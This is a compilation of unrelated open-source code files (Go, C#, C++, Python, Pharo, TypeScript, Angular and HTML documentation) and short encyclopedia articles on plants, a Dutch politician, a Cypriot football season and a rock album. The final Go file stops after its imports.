<dd></dd>
<a name="idxT"></a><h3 class="title">T</h3>
<dt>
<a class="link" href="GTestDBus.html#GTestDBus-struct" title="GTestDBus">GTestDBus</a>, struct in <a class="link" href="GTestDBus.html" title="GTestDBus">GTestDBus</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GTestDBus.html#GTestDBus--flags" title="The flags property">GTestDBus:flags</a>, object property in <a class="link" href="GTestDBus.html" title="GTestDBus">GTestDBus</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GTestDBus.html#GTestDBusFlags" title="enum GTestDBusFlags">GTestDBusFlags</a>, enum in <a class="link" href="GTestDBus.html" title="GTestDBus">GTestDBus</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="GTlsCertificate.html#g-tls-certificate-is-same" title="g_tls_certificate_is_same()">g_tls_certificate_is_same</a>, function in <a class="link" href="GTlsCertificate.html" title="GTlsCertificate">GTlsCertificate</a>
</dt>
<dd></dd>
<a name="idxU"></a><h3 class="title">U</h3>
<dt>
<a class="link" href="gio-Unix-Mounts.html#g-unix-mount-guess-symbolic-icon" title="g_unix_mount_guess_symbolic_icon()">g_unix_mount_guess_symbolic_icon</a>, function in <a class="link" href="gio-Unix-Mounts.html" title="Unix Mounts">Unix Mounts</a>
</dt>
<dd></dd>
<dt>
<a class="link" href="gio-Unix-Mounts.html#g-unix-mount-point-guess-symbolic-icon" title="g_unix_mount_point_guess_symbolic_icon()">g_unix_mount_point_guess_symbolic_icon</a>, function in <a class="link" href="gio-Unix-Mounts.html" title="Unix Mounts">Unix Mounts</a>
</dt>
<dd></dd>
<a name="idxV"></a><h3 class="title">V</h3>
<dt>
<a class="link" href="GVolume.html#g-volume-get-symbolic-icon" title="g_volume_get_symbolic_icon()">g_volume_get_symbolic_icon</a>, function in <a class="link" href="GVolume.html" title="GVolume">GVolume</a>
</dt>
<dd></dd>
</div>
<div class="footer">
<hr>Generated by GTK-Doc V1.25.1</div>
</body>
</html>
```
|
```smalltalk
using System;
using System.Collections.Generic;
using System.Text;
namespace NPOI.SS.UserModel.Charts
{
public enum AxisTickMark
{
None,
Cross,
In,
Out
}
}
```
|
```go
package quic
import (
"github.com/quic-go/quic-go/internal/protocol"
"github.com/quic-go/quic-go/internal/wire"
. "github.com/onsi/ginkgo/v2"
. "github.com/onsi/gomega"
)
var _ = Describe("Crypto Stream Manager", func() {
var (
csm *cryptoStreamManager
initialStream *cryptoStream
handshakeStream *cryptoStream
oneRTTStream *cryptoStream
)
BeforeEach(func() {
initialStream = newCryptoStream()
handshakeStream = newCryptoStream()
oneRTTStream = newCryptoStream()
csm = newCryptoStreamManager(initialStream, handshakeStream, oneRTTStream)
})
It("passes messages to the initial stream", func() {
cf := &wire.CryptoFrame{Data: []byte("foobar")}
Expect(csm.HandleCryptoFrame(cf, protocol.EncryptionInitial)).To(Succeed())
Expect(csm.GetCryptoData(protocol.EncryptionInitial)).To(Equal([]byte("foobar")))
})
It("passes messages to the handshake stream", func() {
cf := &wire.CryptoFrame{Data: []byte("foobar")}
Expect(csm.HandleCryptoFrame(cf, protocol.EncryptionHandshake)).To(Succeed())
Expect(csm.GetCryptoData(protocol.EncryptionHandshake)).To(Equal([]byte("foobar")))
})
It("passes messages to the 1-RTT stream", func() {
cf := &wire.CryptoFrame{Data: []byte("foobar")}
Expect(csm.HandleCryptoFrame(cf, protocol.Encryption1RTT)).To(Succeed())
Expect(csm.GetCryptoData(protocol.Encryption1RTT)).To(Equal([]byte("foobar")))
})
It("processes all messages", func() {
Expect(csm.HandleCryptoFrame(&wire.CryptoFrame{Data: []byte("bar"), Offset: 3}, protocol.EncryptionHandshake)).To(Succeed())
Expect(csm.HandleCryptoFrame(&wire.CryptoFrame{Data: []byte("foo")}, protocol.EncryptionHandshake)).To(Succeed())
var data []byte
for {
b := csm.GetCryptoData(protocol.EncryptionHandshake)
if len(b) == 0 {
break
}
data = append(data, b...)
}
Expect(data).To(Equal([]byte("foobar")))
})
It("errors for unknown encryption levels", func() {
err := csm.HandleCryptoFrame(&wire.CryptoFrame{}, 42)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("received CRYPTO frame with unexpected encryption level"))
})
It("drops Initial", func() {
Expect(initialStream.HandleCryptoFrame(&wire.CryptoFrame{Data: []byte("foo")})).To(Succeed())
err := csm.Drop(protocol.EncryptionInitial)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("encryption level changed, but crypto stream has more data to read"))
})
It("drops Handshake", func() {
Expect(handshakeStream.HandleCryptoFrame(&wire.CryptoFrame{Data: []byte("foo")})).To(Succeed())
err := csm.Drop(protocol.EncryptionHandshake)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("encryption level changed, but crypto stream has more data to read"))
})
})
```
|
```go
//
//
// path_to_url
//
// Unless required by applicable law or agreed to in writing, software
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// Package trillian contains the generated protobuf code for the Trillian API.
package trillian
//go:generate protoc -I=. -I=third_party/googleapis --go_out=paths=source_relative:. --go-grpc_out=paths=source_relative:. --go-grpc_opt=require_unimplemented_servers=false trillian_log_api.proto trillian_admin_api.proto trillian.proto --doc_out=markdown,api.md:./docs/
//go:generate protoc -I=. --go_out=paths=source_relative:. crypto/keyspb/keyspb.proto
//go:generate mockgen -package tmock -destination testonly/tmock/mock_log_server.go github.com/google/trillian TrillianLogServer
//go:generate mockgen -package tmock -destination testonly/tmock/mock_admin_server.go github.com/google/trillian TrillianAdminServer
```
|
```smalltalk
"
High level API to manage code coverage in Pharo.
See class `CoverageCollector` for details.
"
Class {
#name : 'ManifestCoverage',
#superclass : 'PackageManifest',
#category : 'Coverage-Manifest',
#package : 'Coverage',
#tag : 'Manifest'
}
```
|
```go
package plan
import (
"context"
"errors"
"fmt"
neturl "net/url"
"os"
"path/filepath"
"strings"
"github.com/hashicorp/go-cleanhttp"
"github.com/hashicorp/go-getter"
)
// DownloadUpgrade downloads the given url into the provided directory.
// If this returns nil, the download was successful, and {dstRoot}/bin/{daemonName} is a regular executable file.
// This is an opinionated directory structure that corresponds with Cosmovisor requirements.
// If the url is not an archive, it is downloaded and saved to {dstRoot}/bin/{daemonName}.
// If the url is an archive, it is downloaded and unpacked to {dstRoot}.
//
// If the archive does not contain a /bin/{daemonName} file, then this will attempt to move /{daemonName} to /bin/{daemonName}.
// If the archive does not contain either /bin/{daemonName} or /{daemonName}, an error is returned.
//
// If dstRoot already exists, some or all of its contents might be updated.
// NOTE: This functions does not check the provided url for validity.
func DownloadUpgrade(dstRoot, url, daemonName string) error {
target := filepath.Join(dstRoot, "bin", daemonName)
// First try to download it as a single file. If there's no error, it's okay and we're done.
if err := getFile(url, target); err != nil {
// If it was a checksum error, no need to try as directory.
var checksumError *getter.ChecksumError
if errors.As(err, &checksumError) {
return err
}
// File download didn't work, try it as an archive.
if err = downloadUpgradeAsArchive(dstRoot, url, daemonName); err != nil {
// Out of options, send back the error.
return err
}
}
return EnsureBinary(target)
}
// downloadUpgradeAsArchive tries to download the given url as an archive.
// The archive is unpacked and saved in dstDir.
// If the archive contains /{daemonName} and not /bin/{daemonName}, then /{daemonName} will be moved to /bin/{daemonName}.
// If this returns nil, the download was successful, and {dstDir}/bin/{daemonName} is a regular executable file.
func downloadUpgradeAsArchive(dstDir, url, daemonName string) error {
err := getter.Get(dstDir, url)
if err != nil {
return err
}
// If bin/{daemonName} exists, we're done.
dstDirBinFile := filepath.Join(dstDir, "bin", daemonName)
err = EnsureBinary(dstDirBinFile)
if err == nil {
return nil
}
// Otherwise, check for a root {daemonName} file and move it to the bin/ directory if found.
dstDirFile := filepath.Join(dstDir, daemonName)
err = EnsureBinary(dstDirFile)
if err == nil {
err = os.Rename(dstDirFile, dstDirBinFile)
if err != nil {
return fmt.Errorf("could not move %s to the bin directory: %w", daemonName, err)
}
return nil
}
return fmt.Errorf("url \"%s\" result does not contain a bin/%s or %s file", url, daemonName, daemonName)
}
// EnsureBinary checks that the given file exists as a regular file and is executable.
// An error is returned if:
// - The file does not exist.
// - The path exists, but is one of: Dir, Symlink, NamedPipe, Socket, Device, CharDevice, or Irregular.
// - The file exists, is not executable by all three of User, Group, and Other, and cannot be made executable.
func EnsureBinary(path string) error {
info, err := os.Stat(path)
if err != nil {
return err
}
if !info.Mode().IsRegular() {
_, f := filepath.Split(path)
return fmt.Errorf("%s is not a regular file", f)
}
// Make sure all executable bits are set.
oldMode := info.Mode().Perm()
newMode := oldMode | 0o111 // Set the three execute bits to on (a+x).
if oldMode != newMode {
return os.Chmod(path, newMode)
}
return nil
}
// DownloadURL gets the contents of the given url.
// The provided url can contain a checksum parameter that matches the file being downloaded.
// If there isn't an error, the content returned by the url will be returned as a string.
// Returns an error if:
// - The url is not a URL or does not contain a checksum parameter (when required).
// - Downloading the URL fails.
// - The checksum does not match what is returned by the URL.
// - The URL does not return a regular file.
// - The downloaded file is empty or only whitespace.
func DownloadURL(url string) (string, error) {
tempDir, err := os.MkdirTemp("", "reference")
if err != nil {
return "", fmt.Errorf("could not create temp directory: %w", err)
}
defer os.RemoveAll(tempDir)
tempFile := filepath.Join(tempDir, "content")
if err := getFile(url, tempFile); err != nil {
return "", fmt.Errorf("could not download url \"%s\": %w", url, err)
}
tempFileBz, rerr := os.ReadFile(tempFile)
if rerr != nil {
return "", fmt.Errorf("could not read downloaded temporary file: %w", rerr)
}
tempFileStr := strings.TrimSpace(string(tempFileBz))
if len(tempFileStr) == 0 {
return "", fmt.Errorf("no content returned by \"%s\"", url)
}
return tempFileStr, nil
}
// ValidateURL checks that the given string is a valid url and optionally contains a checksum query parameter.
func ValidateURL(urlStr string, mustChecksum bool) error {
url, err := neturl.Parse(urlStr)
if err != nil {
return err
}
if mustChecksum && len(url.Query().Get("checksum")) == 0 {
return errors.New("missing checksum query parameter")
}
return nil
}
// getFile downloads the given url into the provided directory.
func getFile(url, dst string) error {
httpGetter := &getter.HttpGetter{
Client: cleanhttp.DefaultClient(),
XTerraformGetDisabled: true,
}
goGetterGetters := getter.Getters
goGetterGetters["http"] = httpGetter
goGetterGetters["https"] = httpGetter
// path_to_url#security-options
getterClient := &getter.Client{
Ctx: context.Background(),
DisableSymlinks: true,
Src: url,
Dst: dst,
Pwd: dst,
Getters: goGetterGetters,
}
return getterClient.Get()
}
```
|
```c++
/*=============================================================================
file LICENSE_1_0.txt or copy at path_to_url
=============================================================================*/
#include "vm.hpp"
namespace client
{
void vmachine::execute(std::vector<int> const& code)
{
std::vector<int>::const_iterator pc = code.begin();
stack_ptr = stack.begin();
while (pc != code.end())
{
switch (*pc++)
{
case op_neg:
stack_ptr[-1] = -stack_ptr[-1];
break;
case op_add:
--stack_ptr;
stack_ptr[-1] += stack_ptr[0];
break;
case op_sub:
--stack_ptr;
stack_ptr[-1] -= stack_ptr[0];
break;
case op_mul:
--stack_ptr;
stack_ptr[-1] *= stack_ptr[0];
break;
case op_div:
--stack_ptr;
stack_ptr[-1] /= stack_ptr[0];
break;
case op_int:
*stack_ptr++ = *pc++;
break;
}
}
}
}
```
|
```smalltalk
// The .NET Foundation licenses this file to you under the MIT license.
using System.Collections.Concurrent;
using Microsoft.Extensions.DependencyInjection;
namespace Microsoft.AspNetCore.Components.QuickGrid.Infrastructure;
internal static class AsyncQueryExecutorSupplier
{
// The primary goal with this is to ensure that:
// - If you're using EF Core, then we resolve queries efficiently using its ToXyzAsync async extensions and don't
// just fall back on the synchronous IQueryable ToXyz calls
// - ... but without QuickGrid referencing Microsoft.EntityFramework directly. That's because it would bring in
// heavy dependencies you may not be using (and relying on trimming isn't enough, as it's still desirable to have
// heavy unused dependencies for Blazor Server).
//
// As a side-effect, we have an abstraction IAsyncQueryExecutor that developers could use to plug in their own
// mechanism for resolving async queries from other data sources than EF. It's not really a major goal to make this
// adapter generally useful beyond EF, but fine if people do have their own uses for it.
private static readonly ConcurrentDictionary<Type, bool> IsEntityFrameworkProviderTypeCache = new();
public static IAsyncQueryExecutor? GetAsyncQueryExecutor<T>(IServiceProvider services, IQueryable<T>? queryable)
{
if (queryable is not null)
{
var executor = services.GetService<IAsyncQueryExecutor>();
if (executor is null)
{
// It's useful to detect if the developer is unaware that they should be using the EF adapter, otherwise
// they will likely never notice and simply deploy an inefficient app that blocks threads on each query.
var providerType = queryable.Provider?.GetType();
if (providerType is not null && IsEntityFrameworkProviderTypeCache.GetOrAdd(providerType, IsEntityFrameworkProviderType))
{
throw new InvalidOperationException($"The supplied {nameof(IQueryable)} is provided by Entity Framework. To query it efficiently, you must reference the package Microsoft.AspNetCore.Components.QuickGrid.EntityFrameworkAdapter and call AddQuickGridEntityFrameworkAdapter on your service collection.");
}
}
else if (executor.IsSupported(queryable))
{
return executor;
}
}
return null;
}
// We have to do this via reflection because the whole point is to avoid any static dependency on EF unless you
// reference the adapter. Trimming won't cause us any problems because this is only a way of detecting misconfiguration
// so it's sufficient if it can detect the misconfiguration in development.
private static bool IsEntityFrameworkProviderType(Type queryableProviderType)
=> queryableProviderType.GetInterfaces().Any(x => string.Equals(x.FullName, "Microsoft.EntityFrameworkCore.Query.IAsyncQueryProvider")) == true;
}
```
|
Lupinus constancei is a species of lupine known by the common name The Lassics lupine, or lassicus lupine. It is endemic to California, where it is known from only two occurrences in the Lassic Range in the North Coast Ranges. It is a member of the serpentine soils flora of the mountain forests. This is a low, mat-forming perennial herb no more than 15 centimeters high. Each small palmate leaf is made up of 6 or 7 leaflets up to 2 centimeters long and one wide. The herbage is coated in long, shaggy hairs. The inflorescence is a small, dense clump of several centimeter-long flowers. Each flower is pink in color with darker pink at the tip of the keel. The yellowish banner is reflexed. The fruit is a hairy legume pod 1.5 to 2.5 centimeters long.
External links
Jepson Manual Treatment
Photo gallery
constancei
Endemic flora of California
Plants described in 1983
Critically endangered flora of California
|
```xml
/*
* one or more contributor license agreements. See the NOTICE file distributed
* with this work for additional information regarding copyright ownership.
*/
import {shallow, ShallowWrapper} from 'enzyme';
import {Select} from 'components';
import DateRangeInput from './DateRangeInput';
const props = {
type: '',
unit: '',
customNum: '2',
startDate: null,
endDate: null,
onChange: () => {},
};
const dateTypeSelect = (node: ShallowWrapper) => node.find(Select).at(0);
const unitSelect = (node: ShallowWrapper) => node.find(Select).at(1);
it('should disable the unit selection when not selecting this or last', () => {
const node = shallow(<DateRangeInput {...props} type="today" />);
expect(unitSelect(node).prop('disabled')).toBe(true);
});
it('should reset the unit selection when changing the date type', () => {
const spy = jest.fn();
const node = shallow(<DateRangeInput {...props} type="this" unit="weeks" onChange={spy} />);
dateTypeSelect(node).prop('onChange')?.('last');
expect(spy).toHaveBeenCalledWith({
type: 'last',
unit: '',
startDate: null,
endDate: null,
valid: false,
});
});
it('should have error message if value is invalid', async () => {
const node = shallow(<DateRangeInput {...props} type="custom" unit="minutes" customNum="-1" />);
expect(node.find('TextInput').prop('invalid')).toBe(true);
});
```
|
Pimelea serpyllifolia, commonly known as thyme riceflower, is a species of flowering plant in the family Thymelaeaceae and is endemic to southern Australia. It is an erect shrub with narrowly elliptic to spatula-shaped leaves, and compact heads of 4 to 12 yellow, yellowish-green or white flowers surrounded by 2 or 4 leaf-like involucral bracts. Male and female flowers are borne on separate plants.
Description
Pimelea serpyllifolia is an erect shrub that typically grows to a height of , but is rarely stunted or prostrate in exposed positions. The leaves are borne in opposite pairs on glabrous stems and are crowded, narrowly elliptic to spatula-shaped, long and wide. The leaves are glabrous, and the same shade of green on both sides. The flowers are borne in compact heads of 4 to 12 yellow, yellowish-green or white flowers surrounded by 2 or 4 sessile, elliptic involucral bracts long and wide, female and male flowers borne on separate plants. The floral tube of female plants is long, the sepals long, and of male plants and long respectively.
Taxonomy
Pimelea serpyllifolia was first formally described in 1810 by Robert Brown in his Prodromus Florae Novae Hollandiae et Insulae Van Diemen. The specific epithet, serpyllifolia means "wild thyme-leaved".
In 1988, Barbara Lynette Rye named two subspecies of P. serpyllifolia in the journal Nuytsia, and the names are accepted by the Australian Plant Census:
Pimelea serpyllifolia subsp. occidentalis Rye differs from the autonym in having stems that are hairy below the flower heads, and flowers that are at least sparsely hairy inside.
Pimelea serpyllifolia Rye subsp. serpyllifolia has glabrous stems and flowers that are usually glabrous inside.
Distribution and habitat
Subspecies serpyllifolia grows in shrubland and woodland mostly in near-coastal areas of Victoria and South Australia, but also in the far north-west of Victoria. There are also small populations near Euston in far south-western New South Wales, near Eucla in Western Australia, and in a few places in north-eastern Tasmania and on Bass Strait Islands. Subspecies occidentalis grows in near-coastal areas between Israelite Bay and Twilight Cove in southern Western Australia.
Conservation statusPimelea serpyllifolia subsp. serpyllifolia is listed as "endangered" in New South Wales under the New South Wales Government Biodiversity Conservation Act 2016''.
References
serphyllifolia
Malvales of Australia
Flora of New South Wales
Flora of South Australia
Flora of Victoria (state)
Flora of Western Australia
Plants described in 1810
Taxa named by Robert Brown (botanist, born 1773)
Dioecious plants
|
```xml
/***************************************************************************************************
* Load `$localize` onto the global scope - used if i18n tags appear in Angular templates.
*/
import '@angular/localize/init';
/**
* This file includes polyfills needed by Angular and is loaded before the app.
* You can add your own extra polyfills to this file.
*
* This file is divided into 2 sections:
* 1. Browser polyfills. These are applied before loading ZoneJS and are sorted by browsers.
* 2. Application imports. Files imported after ZoneJS that should be loaded before your main
* file.
*
* The current setup is for so-called "evergreen" browsers; the last versions of browsers that
* automatically update themselves. This includes Safari >= 10, Chrome >= 55 (including Opera),
* Edge >= 13 on the desktop, and iOS 10 and Chrome on mobile.
*
* Learn more in path_to_url
*/
/***************************************************************************************************
* BROWSER POLYFILLS
*/
/** IE10 and IE11 requires the following for NgClass support on SVG elements */
// import 'classlist.js'; // Run `npm install --save classlist.js`.
/**
* Web Animations `@angular/platform-browser/animations`
* Only required if AnimationBuilder is used within the application and using IE/Edge or Safari.
* Standard animation support in Angular DOES NOT require any polyfills (as of Angular 6.0).
*/
// import 'web-animations-js'; // Run `npm install --save web-animations-js`.
/**
* By default, zone.js will patch all possible macroTask and DomEvents
* user can disable parts of macroTask/DomEvents patch by setting following flags
* because those flags need to be set before `zone.js` being loaded, and webpack
* will put import in the top of bundle, so user need to create a separate file
* in this directory (for example: zone-flags.ts), and put the following flags
* into that file, and then add the following code before importing zone.js.
* import './zone-flags';
*
* The flags allowed in zone-flags.ts are listed here.
*
* The following flags will work for all browsers.
*
* (window as any).__Zone_disable_requestAnimationFrame = true; // disable patch requestAnimationFrame
* (window as any).__Zone_disable_on_property = true; // disable patch onProperty such as onclick
* (window as any).__zone_symbol__UNPATCHED_EVENTS = ['scroll', 'mousemove']; // disable patch specified eventNames
*
* in IE/Edge developer tools, the addEventListener will also be wrapped by zone.js
* with the following flag, it will bypass `zone.js` patch for IE/Edge
*
* (window as any).__Zone_enable_cross_context_check = true;
*
*/
/***************************************************************************************************
* Zone JS is required by default for Angular itself.
*/
import 'zone.js/dist/zone'; // Included with Angular CLI.
/***************************************************************************************************
* APPLICATION IMPORTS
*/
```
|
Inge van Dijk (born 6 May 1975) is a Dutch politician, serving as a member of the House of Representatives since the 2021 general election. She represents the political party Christian Democratic Appeal (CDA).
Before becoming an MP, Van Dijk had been a member of the Gemert-Bakel municipal council between 2001 and 2018, being her party's in two elections. She became an alderwoman in 2018 and has also chaired CDA Brabant between 2015 and 2020.
Early life and education
Van Dijk was born in the North Brabant city Helmond in 1975, and she moved at age one to the nearby village Bakel. Her father worked as a gas fitter. She attended the Helmond high school Dr. Knippenbergcollege and studied business administration at HAS University of Applied Sciences in 's-Hertogenbosch in the years 1994–99.
Career
She took a job at Rabobank as internal account manager business relations in 1999 and would continue working for that company until she became an alderwoman in 2018. She served at several branches and at the national office in several positions including product manager. While working for Rabobank, she was a member of the Gemert-Bakel municipal council and volunteered at a number of local organizations including handball club Acritas, where she was a trainer, coach, and board member until 2014.
Van Dijk joined the municipal council in 2001, a few years after the municipalities Gemert and Bakel had merged. She has told that she and her father had campaigned against the reorganization and that she had decided to become politically active because of that experience. She became the CDA's during the 2014 Gemert-Bakel municipal election, having been eighth on the party list in the previous election. She succeeded Harrie Verkampen, who had been leading the party in Gemert-Bakel for several decades. Her party managed to bring an end to a period of four years without having a plurality in the council. In November 2015, Van Dijk also became the chair of CDA Brabant.
She was again her party's during the 2018 municipal election. Her party again received a plurality of votes, and Van Dijk vacated her council seat in May to become a full-time alderwoman responsible for economic and sport policy. Because of this position, she quit her job at Rabobank. In July 2019, Van Dijk survived a motion of no confidence. Her coalition was against plans to build a new swimming pool due to the financial risk involved and instead wanted to renovate an existing one. Under her leadership as chair of CDA Brabant, the party formed a coalition with, among other parties, the populist Forum for Democracy in 2020. A majority of CDA Brabant members (56%) had supported the coalition, that was controversial due to ideological disagreements, in a referendum. The previous coalition had collapsed because the CDA had left it. In May 2020, one of the four alderwomen of Gemert-Bakel left, and Van Dijk's portfolio changed; she also became responsible for finances and real estate and surrendered sport policy.
House of Representatives (2021–present)
Van Dijk ran for member of parliament during the 2021 general election, being placed fourth on the CDA's party list. In November 2020 – shortly after her position had been announced – she stepped down as CDA Brabant chair. She was elected, receiving 16,851 preference votes, and was sworn into office on 31 March. Van Dijk is the CDA's spokesperson for economic affairs, the interior (excluding housing), the financial sector, and sport (formerly also kingdom relations), and she is on the Committees for Digital Affairs, Economic Affairs and Climate Policy, Finance, the Interior, Kingdom Relations, and Public Expenditure as well as on the Procedure Committee. In the House, she proposed to provide €10 million per year in funding from the national government for local political parties next to the already existing €27 million in funding for national parties. She also wanted to spend part of a fund from the European Union on providing free Internet for people with a low income. In 2023, Van Dijk complained the government was treating sports clubs and other associations too much like commercial businesses, threatening their existence, and she stressed their importance for society. She suggested several measures to aid the organizations such as exempting them from sales tax, increasing the compensation for volunteers, and having the government pay the first year of membership for new inhabitants.
Van Dijk was her party's in Gemert-Bakel in the 2022 municipal elections.
Personal life
Van Dijk has been living in the North Brabant village of Gemert since 2020, where she lives with her partner and three stepchildren. Before that, she resided in Bakel.
Her former home in Bakel became the subject of municipal politics in 2019, because the zoning regulations only allowed the building and the neighboring building to be used as homes accompanying farms. She had tried to change those regulations at the Council of State, but a nearby farmer filed an objection fearing stricter environmental regulations. The municipal council eventually changed the zoning regulations such that both houses could be used as homes without farms.
Decorations
Order of Orange-Nassau
Member (26 April 2019)
References
1975 births
Living people
21st-century Dutch politicians
21st-century Dutch women politicians
Aldermen in North Brabant
Christian Democratic Appeal politicians
Members of the House of Representatives (Netherlands)
Members of the Order of Orange-Nassau
Municipal councillors in North Brabant
People from Gemert-Bakel
|
The 1957–58 Cypriot First Division was the 21st season of the Cypriot top-level football league.
Overview
It was contested by 10 teams, and Anorthosis Famagusta FC won the championship. Also Apollon Limassol made their debut as a team.
League standings
Results
References
Cyprus - List of final tables (RSSSF)
Cypriot First Division seasons
Cypriot First Division, 1957-58
1
|
```smalltalk
"
I do not match with any keyboard event.
I respond to the Null object pattern, since I represent the inexistance of a key combination.
"
Class {
#name : 'KMNoShortcut',
#superclass : 'KMKeyCombination',
#category : 'Keymapping-KeyCombinations',
#package : 'Keymapping-KeyCombinations'
}
{ #category : 'combining' }
KMNoShortcut >> + aKMModifier [
^ aKMModifier
]
{ #category : 'combining' }
KMNoShortcut >> , aShortcut [
^ aShortcut
]
{ #category : 'matching' }
KMNoShortcut >> matches: anEventBuffer [
^ false
]
{ #category : 'matching' }
KMNoShortcut >> matchesCompletely: anEventBuffer [
^ false
]
{ #category : 'printing' }
KMNoShortcut >> printOn: aStream [
]
```
|
One Among the Living is the fourth studio album by the Canadian rock band Mystery. Prior to recording this album Patrick Bourque had been replaced by François Fournier, Benoît Dupuis rejoined the band as keyboardist after a 12-year absence, and Dean Baldwin joined as a second guitarist.
Background
As with other Mystery songs, "One Among the Living" and "Between Love and Hate" were two songs that had been written years prior, with "One Among the Living" being written around the time of ''Destiny?.
Track listing
Personnel
Mystery
Benoît David - lead vocals
Michel St-Père - guitars, keyboards
Steve Gagné - drums
Mystery live band members, session musicians
Benoît Dupuis - keyboards (tracks 1, 2, 11, 12, 14)
Dean Baldwin - guitars (track 13)
François Fournier - bass (track 12), Taurus pedals
Additional musicians
Antoine Fafard - bass (tracks: 2-4, 6-11, 14)
Claire Vezina - back vocals (track 14)
Daryl Stuermer - guitar solo (track 14)
John Jowitt - bass guitar (track 5)
Oliver Wakeman - moog solo (track 5)
Richard Lanthier - bass (track 13)
Release information
CD - Unicorn Digital - UNCR-5080 - 2010
References
2010 albums
Mystery (band) albums
|
```python
"""
Potential Field based path planner
author: Atsushi Sakai (@Atsushi_twi)
Ref:
path_to_url~motionplanning/lecture/Chap4-Potential-Field_howie.pdf
"""
from collections import deque
import numpy as np
import matplotlib.pyplot as plt
# Parameters
KP = 5.0 # attractive potential gain
ETA = 100.0 # repulsive potential gain
AREA_WIDTH = 30.0 # potential area width [m]
# the number of previous positions used to check oscillations
OSCILLATIONS_DETECTION_LENGTH = 3
show_animation = True
def calc_potential_field(gx, gy, ox, oy, reso, rr, sx, sy):
minx = min(min(ox), sx, gx) - AREA_WIDTH / 2.0
miny = min(min(oy), sy, gy) - AREA_WIDTH / 2.0
maxx = max(max(ox), sx, gx) + AREA_WIDTH / 2.0
maxy = max(max(oy), sy, gy) + AREA_WIDTH / 2.0
xw = int(round((maxx - minx) / reso))
yw = int(round((maxy - miny) / reso))
# calc each potential
pmap = [[0.0 for i in range(yw)] for i in range(xw)]
for ix in range(xw):
x = ix * reso + minx
for iy in range(yw):
y = iy * reso + miny
ug = calc_attractive_potential(x, y, gx, gy)
uo = calc_repulsive_potential(x, y, ox, oy, rr)
uf = ug + uo
pmap[ix][iy] = uf
return pmap, minx, miny
def calc_attractive_potential(x, y, gx, gy):
return 0.5 * KP * np.hypot(x - gx, y - gy)
def calc_repulsive_potential(x, y, ox, oy, rr):
# search nearest obstacle
minid = -1
dmin = float("inf")
for i, _ in enumerate(ox):
d = np.hypot(x - ox[i], y - oy[i])
if dmin >= d:
dmin = d
minid = i
# calc repulsive potential
dq = np.hypot(x - ox[minid], y - oy[minid])
if dq <= rr:
if dq <= 0.1:
dq = 0.1
return 0.5 * ETA * (1.0 / dq - 1.0 / rr) ** 2
else:
return 0.0
def get_motion_model():
# dx, dy
motion = [[1, 0],
[0, 1],
[-1, 0],
[0, -1],
[-1, -1],
[-1, 1],
[1, -1],
[1, 1]]
return motion
def oscillations_detection(previous_ids, ix, iy):
previous_ids.append((ix, iy))
if (len(previous_ids) > OSCILLATIONS_DETECTION_LENGTH):
previous_ids.popleft()
# check if contains any duplicates by copying into a set
previous_ids_set = set()
for index in previous_ids:
if index in previous_ids_set:
return True
else:
previous_ids_set.add(index)
return False
def potential_field_planning(sx, sy, gx, gy, ox, oy, reso, rr):
# calc potential field
pmap, minx, miny = calc_potential_field(gx, gy, ox, oy, reso, rr, sx, sy)
# search path
d = np.hypot(sx - gx, sy - gy)
ix = round((sx - minx) / reso)
iy = round((sy - miny) / reso)
gix = round((gx - minx) / reso)
giy = round((gy - miny) / reso)
if show_animation:
draw_heatmap(pmap)
# for stopping simulation with the esc key.
plt.gcf().canvas.mpl_connect('key_release_event',
lambda event: [exit(0) if event.key == 'escape' else None])
plt.plot(ix, iy, "*k")
plt.plot(gix, giy, "*m")
rx, ry = [sx], [sy]
motion = get_motion_model()
previous_ids = deque()
while d >= reso:
minp = float("inf")
minix, miniy = -1, -1
for i, _ in enumerate(motion):
inx = int(ix + motion[i][0])
iny = int(iy + motion[i][1])
if inx >= len(pmap) or iny >= len(pmap[0]) or inx < 0 or iny < 0:
p = float("inf") # outside area
print("outside potential!")
else:
p = pmap[inx][iny]
if minp > p:
minp = p
minix = inx
miniy = iny
ix = minix
iy = miniy
xp = ix * reso + minx
yp = iy * reso + miny
d = np.hypot(gx - xp, gy - yp)
rx.append(xp)
ry.append(yp)
if (oscillations_detection(previous_ids, ix, iy)):
print("Oscillation detected at ({},{})!".format(ix, iy))
break
if show_animation:
plt.plot(ix, iy, ".r")
plt.pause(0.01)
print("Goal!!")
return rx, ry
def draw_heatmap(data):
data = np.array(data).T
plt.pcolor(data, vmax=100.0, cmap=plt.cm.Blues)
def main():
print("potential_field_planning start")
sx = 0.0 # start x position [m]
sy = 10.0 # start y positon [m]
gx = 30.0 # goal x position [m]
gy = 30.0 # goal y position [m]
grid_size = 0.5 # potential grid size [m]
robot_radius = 5.0 # robot radius [m]
ox = [15.0, 5.0, 20.0, 25.0] # obstacle x position list [m]
oy = [25.0, 15.0, 26.0, 25.0] # obstacle y position list [m]
if show_animation:
plt.grid(True)
plt.axis("equal")
# path generation
_, _ = potential_field_planning(
sx, sy, gx, gy, ox, oy, grid_size, robot_radius)
if show_animation:
plt.show()
if __name__ == '__main__':
print(__file__ + " start!!")
main()
print(__file__ + " Done!!")
```
|
```xml
/*
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
// TypeScript Version: 4.1
/**
* Returns a list of simple American-English words (revised Spache).
*
* ## Notes
*
* - This function synchronously reads data from disk for each invocation. Such behavior is intentional and so is the avoidance of `require`. We assume that invocations are infrequent, and we want to avoid the `require` cache. This means that we allow data to be garbage collected and a user is responsible for explicitly caching data.
*
*
* @throws unable to read data
* @returns words
*
* @example
* var list = words();
* // returns [ 'a', 'able', 'about', 'above', ... ]
*/
declare function words(): Array<string>;
// EXPORTS //
export = words;
```
|
```go
package lib
import (
"context"
"errors"
"testing"
"time"
"github.com/google/go-cmp/cmp"
"github.com/qri-io/dataset"
"github.com/qri-io/qri/base"
"github.com/qri-io/qri/base/dsfs"
testcfg "github.com/qri-io/qri/config/test"
"github.com/qri-io/qri/dsref"
"github.com/qri-io/qri/event"
"github.com/qri-io/qri/p2p"
